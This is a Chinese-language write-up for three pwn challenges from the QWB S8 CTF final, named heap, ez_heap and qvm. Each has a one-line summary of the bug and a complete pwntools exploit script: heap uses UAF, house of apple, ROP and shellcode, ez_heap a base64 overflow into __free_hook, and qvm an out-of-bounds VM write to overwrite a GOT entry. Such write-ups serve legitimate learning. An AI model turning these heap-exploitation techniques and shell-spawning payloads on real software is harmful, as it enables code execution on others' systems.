强网S8 final WP

heap

uaf先修改aes的key

然后house of apple，ROP，写shellcode

最后orw

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
#!/usr/bin/env python3
from pwncli import *
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from ctypes import *
from base64 import *

context.terminal = ["tmux", "splitw", "-h", "-l", "122"]
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0

if local_flag == "remote":
    addr = '47.94.85.95 22620'
    host = addr.split(' ')
    gift.io = remote(host[0], host[1])
    gift.remote = True
else:
    gift.io = process('./heap')
    if local_flag == "nodbg":
        gift.remote = True
init_x64_context(gift.io, gift)
libc = load_libc()
gift.elf = ELF('./heap')
cmd = '''
    dir /mnt/f/Documents/CTF/glibc/glibc-2.31/libio
    b *$rebase(0x17C9)
    b *$rebase(0x18B9)
    b *$rebase(0x1973)
    b *$rebase(0x1A30)
    b wgenops.c:371
    c
'''

input_after_this = b'>> '


def add(idx, data):
    sla(input_after_this, b'1')
    sla(b'idx', str(idx))
    sa(b'content', data)


def dele(idx):
    sla(input_after_this, b'2')
    sla(b'idx', str(idx))


def edit(idx, data):
    sla(input_after_this, b'4')
    sla(b'idx', str(idx))
    sa(b'content', data)


def show(idx):
    sla(input_after_this, b'3')
    sla(b'idx', str(idx))


def encrypt(data, key):
    # 确保密钥长度为128位（16字节）
    assert len(key) == 16, "Key must be 128 bits (16 bytes)."

    # 填充数据以确保其长度是16的倍数
    data = pad(data, 16)

    # 创建AES ECB模式的加密对象
    cipher = AES.new(key, AES.MODE_ECB)

    # 加密数据
    encrypted_data = b''
    for i in range(0, len(data), 16):
        encrypted_data += cipher.encrypt(data[i : i + 16])

    return encrypted_data


def decrypt(encrypted_data, key):
    # 确保密钥长度为128位（16字节）
    assert len(key) == 16, "Key must be 128 bits (16 bytes)."

    # 创建AES ECB模式的解密对象
    cipher = AES.new(key, AES.MODE_ECB)

    # 解密数据
    decrypted_data = b''
    for i in range(0, len(encrypted_data), 16):
        decrypted_data += cipher.decrypt(encrypted_data[i : i + 16])

    # 移除填充
    # decrypted_data = unpad(decrypted_data, 16)

    return decrypted_data


add(0, b'A' * 0x10)
show(0)
ru(b'A' * 0x10)
code_base = u64_ex(r(6)) - 0x1BF0
set_current_code_base_and_log(code_base)

add(1, b'A' * 0x10)
dele(1)
edit(1, b'A' * 0x10)
dele(1)

dele(0)
show(0)
ru(b': ')
data = r(0x10)
log_ex(data)

edit(1, b'A' * 0x10)
dele(1)

add(2, b'\xa0')
show(2)

add(3, b'\x00')
add(2, b'\x00')
add(0, b'a' * 0x10)
key = b'\x51\x88\xc6\x47\x4b\x22\x8c\xbd\xd2\x42\xe9\x12\x5e\xbe\x1d\x53'
log_ex(f"key: {key}")

show(1)
ru(b': ')
data = r(0x10)
heap_base = u64_ex(encrypt(data, key)[:8]) - 0x200
log_heap_base_addr(heap_base)

dele(3)
edit(3, decrypt(b'\x00' * 0x10, key))
dele(3)
edit(3, p64_ex(heap_base + 0x330))
add(3, b'\x00')
add(4, decrypt(p64_ex(0) + p64_ex(0x20CD1), key))  # any

add(5, b'\x00' * 0x10)

for i in range(0x8):
    add(15 - i, b'\x00')

for i in range(0x13 - 0x8):
    add(6, b'\x00')

add(6, decrypt(p64_ex(0) + p64_ex(0x31), key))

edit(4, decrypt(p64_ex(0) + p64_ex(0x511), key))
dele(5)
show(5)
ru(b': ')
data = r(0x10)
libc_base = u64_ex(encrypt(data, key)[:8]) - 0x1ECBE0
set_current_libc_base_and_log(libc_base)

edit(4, decrypt(p64_ex(0) + p64_ex(0x41), key))

dele(15)
edit(15, decrypt(p64_ex(0) * 2, key))
dele(14)
edit(14, decrypt(p64_ex(heap_base + 0x10) * 2, key))
add(14, b'\x00')
add(0, p64_ex(0))

dele(15)
edit(15, decrypt(p64_ex(0) * 2, key))
dele(14)
edit(14, decrypt(p64_ex(heap_base + 0x10 + 0xA0) * 2, key))
add(14, b'\x00')
add(1, p64_ex(0))

dele(15)
edit(15, decrypt(p64_ex(0) * 2, key))
dele(14)
edit(14, decrypt(p64_ex(heap_base + 0x10 + 0xA0 + 0x30) * 2, key))
add(14, b'\x00')
add(2, p64_ex(0))

dele(15)
edit(15, decrypt(p64_ex(0) * 2, key))
dele(14)
edit(14, decrypt(p64_ex(heap_base + 0x300) * 2, key))
add(14, b'\x00')
add(3, p64_ex(0))

dele(15)
edit(15, decrypt(p64_ex(0) * 2, key))
dele(14)
edit(14, decrypt(p64_ex(heap_base + 0x300 + 0x30) * 2, key))
add(14, b'\x00')
add(4, p64_ex(0))

dele(15)
edit(15, decrypt(p64_ex(0) * 2, key))
dele(14)
edit(14, decrypt(p64_ex(heap_base + 0x300 + 0x60) * 2, key))
add(14, b'\x00')
add(5, p64_ex(0))

for i in range(0x7):
    dele(15)
    edit(15, decrypt(p64_ex(0) * 2, key))

dele(15)
dele(14)
edit(14, p64_ex(libc.sym._IO_list_all - 0x18))
edit(15, p64_ex(heap_base + 0x380))

for i in range(7):
    add(15, p64_ex(heap_base + 0x380))

show(0)
add(15, b'\x00')

fake_IO_FILE = heap_base + 0x10
_IO_wfile_jumps = libc.sym._IO_wfile_jumps

payload = flat(
    {
        0x0: u64_ex("  sh"),
        0x8: libc_base + 0x000000000002F70A,  #: pop rsp; ret;
        0x10: heap_base + 0x300,
        0x28: 0xB81,  # _IO_write_ptr
        0xA0: fake_IO_FILE + 0xE8 - 0xE0,  # _wide_data->_wide_vtable
        0xD8: _IO_wfile_jumps,  # vtable
        0xE0: libc_base + 0x5B4D0,  # function
        0xE8: fake_IO_FILE + 0xE0 - 0x68,  # _wide_data->_wide_vtable->doallocate
    },
    filler=b'\x00',
)


edit(0, decrypt(payload[:0x30], key))
edit(1, decrypt(payload[0xA0 : 0xA0 + 0x30], key))
edit(2, decrypt(payload[0xA0 + 0x30 : 0xA0 + 0x60], key))

CG.set_find_area(False, True)
rdi = CG.pop_rdi_ret()
rsi = CG.pop_rsi_ret()
rdx_rbx = CG.pop_rdx_rbx_ret()

payload = flat([rdi, heap_base, rsi, 0x2000, rdx_rbx, 7, 0, libc.sym.mprotect, heap_base + 0x360]).ljust(0x60, b'\x00')
payload += asm(shellcraft.read(0, heap_base + 0x360, 0x1000))
payload = pad(payload, 16)
edit(3, decrypt(payload[:0x30], key))
edit(4, decrypt(payload[0x30 : 0x30 + 0x30], key))
edit(5, decrypt(payload[0x30 + 0x30 : 0x30 + 0x60], key))

launch_gdb(cmd)
sla(input_after_this, b'5')

sleep(0.5)
s(b'\x90' * 0x30 + ShellcodeMall.amd64.cat_flag)

ia()

ez_heap

base64 解码计算长度错误导致的溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
#!/usr/bin/env python3
from pwncli import *
from base64 import b64decode, b64encode

context.terminal = ["tmux", "splitw", "-h", "-l", "122"]
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0

if local_flag == "remote":
    addr = '47.94.85.95 32827'
    host = addr.split(' ')
    gift.io = remote(host[0], host[1])
    gift.remote = True
else:
    gift.io = process('./pwn')
    if local_flag == "nodbg":
        gift.remote = True
init_x64_context(gift.io, gift)
libc = load_libc()
gift.elf = ELF('./pwn')
cmd = '''
    b *$rebase(0x1BA7)
    b *$rebase(0x1D1D)
    b *$rebase(0x1EF1)
    b *$rebase(0x1FA0)
    b *$rebase(0x205B)
    b *$rebase(0x20FA)
    set $decode = $rebase(0x5060)
    c
'''

input_after_this = b'Enter your choice:'


def add_en(data):
    sla(input_after_this, b'1')
    sa(b'text', data)


def add_de(data):
    sla(input_after_this, b'2')
    sa(b'text', data)


def dele_en(idx):
    sla(input_after_this, b'3')
    sla(b'idx', str(idx))


def dele_de(idx):
    sla(input_after_this, b'4')
    sla(b'idx', str(idx))


def show_en(idx):
    sla(input_after_this, b'5')
    sla(b'idx', str(idx))


def show_de(idx):
    sla(input_after_this, b'6')
    sla(b'idx', str(idx))


add_de(b64encode(b'a' * 0x36))  # 0x36
add_de(b64encode(b'c' * 0x24))
add_de(b64encode(b'b' * 0x36))
add_en(b'a' * 0x400)
add_de(b64encode(b'b' * 0x36))
dele_en(0)
dele_de(0)
add_de(b64encode(b'\x00' * 0x39)[:-1])

dele_de(3)
dele_de(2)
dele_de(1)
add_de(b64encode(b'a' * 0x39)[:-1])
show_de(1)
ru(b'a' * 0x38)
heap_base = u64_ex(ru(b'\n', drop=True)) - 0x81
log_heap_base_addr(heap_base)

dele_de(1)
add_de(b64encode(b'\x00' * 0x28 + p64_ex(0x21) + p64_ex(heap_base + 0x320))[:-1])

add_de(b64encode(b'a' * 0x36))
add_de(b64encode(b'a' * 0x30))
show_de(3)
libc_base = u64_ex(ru(b'\x7f')[-6:]) - 0x1ECBE0
set_current_libc_base_and_log(libc_base)


dele_de(2)
add_de(b64encode(p64_ex(0) + p64_ex(0x21)))
dele_de(3)
dele_de(2)

dele_de(1)

add_de(b64encode(p64_ex(0) * 6 + p64_ex(libc.sym.__free_hook))[:-1])

add_de(b64encode(b'/bin/sh\x00'))
add_de(b64encode(p64_ex(libc.sym.system)))

launch_gdb(cmd)
dele_de(2)


ia()

qvm

mov cil 等操作对index没有检查导致的越界读写

修改puts中调用的libc.got为system，puts(“/bin/sh\x00”)即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#!/usr/bin/env python3
from pwncli import *

context.terminal = ["tmux", "splitw", "-h", "-l", "122"]
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0

if local_flag == "remote":
    addr = '121.42.242.203 9999'
    host = addr.split(' ')
    gift.io = remote(host[0], host[1])
    gift.remote = True
else:
    gift.io = process('./pwn')
    if local_flag == "nodbg":
        gift.remote = True
init_x64_context(gift.io, gift)
libc = load_libc()
gift.elf = ELF('./pwn')
cmd = '''
    b *$rebase(0xED7A)
    # mov
    b *$rebase(0xEE19)
    # push
    b *$rebase(0xFBE1)
    # ods
    #b *$rebase(0xFA9F)
    # cil
    b *$rebase(0xEF41)
    # inc
    b *$rebase(0xC79D)
    # ipf

    c
    set $context=$rbp-0x298
    set $value=$rbp-0xB8
'''
launch_gdb(cmd)

payload = (
    f'''
data binsh "/bin/sh\x00"
func:
    ret
_start:
._start:
mov {0xf47ff + 0x21a02} 0
cil {- 0x50d70 + 0x28030} 4
sub 4 0
mov 0 {0xf47ff + 0x21a09}
call func
ods binsh
'''
    + "EOF"
)

ru(b'Code :')
sl(payload)

ia()